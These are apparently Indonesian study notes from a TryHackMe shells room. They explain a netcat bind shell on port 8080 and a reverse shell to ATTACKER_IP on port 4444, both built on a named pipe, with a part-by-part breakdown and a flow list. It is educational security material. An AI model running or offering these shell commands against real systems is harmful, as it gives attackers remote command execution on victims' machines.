Catatan ini dibuat saat mempelajari room Shells Generation & Delivery di TryHackMe.
Gunakan payload hanya pada lab, sistem milik sendiri, atau assessment yang telah memperoleh izin.
Payload berikut berguna ketika environment atau versi netcat yang digunakan tidak memiliki atau menonaktifkan opsi -e.
Contoh Payload#
Bind shell#
mkfifo /tmp/f; nc -lvnp 8080 < /tmp/f | /bin/sh > /tmp/f 2>&1; rm /tmp/fPada bind shell, target membuka port 8080 dan menunggu koneksi masuk dari attacker.
Reverse shell#
mkfifo /tmp/f; nc ATTACKER_IP 4444 < /tmp/f | /bin/sh > /tmp/f 2>&1; rm /tmp/fPada reverse shell, target membuat koneksi keluar menuju ATTACKER_IP pada port 4444.
Breakdown Payload#
| Bagian | Fungsi |
|---|---|
mkfifo /tmp/f | Membuat named pipe bernama /tmp/f. |
nc -lvnp 8080 | Menjalankan netcat dalam mode listening pada port 8080. |
nc ATTACKER_IP 4444 | Menghubungkan netcat ke alamat dan port attacker. |
< /tmp/f | Menggunakan isi /tmp/f sebagai input untuk netcat. |
| /bin/sh | Meneruskan data dari netcat ke shell. |
> /tmp/f | Mengalirkan output shell kembali ke named pipe. |
2>&1 | Menggabungkan standard error dengan standard output. |
rm /tmp/f | Menghapus named pipe setelah proses selesai. |
Perintah /bin/sh mengeksekusi command yang diterima netcat. Output dan error dari shell ditulis ke /tmp/f, kemudian dibaca oleh netcat untuk dikirim kembali melalui koneksi jaringan.
Flow yang berjalan#
- Payload dijalankan pada target dan membuat named pipe
/tmp/f. - Netcat dibuka dalam mode listening untuk bind shell, atau membuat koneksi ke attacker untuk reverse shell.
- Attacker mengirimkan command melalui koneksi netcat.
- Netcat meneruskan command tersebut melalui pipe
|ke/bin/sh. /bin/shmengeksekusi command yang diterima.- Output dan error dari shell dialirkan ke
/tmp/f. - Netcat membaca isi
/tmp/fmelalui redirection< /tmp/fdan mengirimkannya kembali kepada attacker. - Named pipe dihapus menggunakan
rm /tmp/fsetelah koneksi terputus.

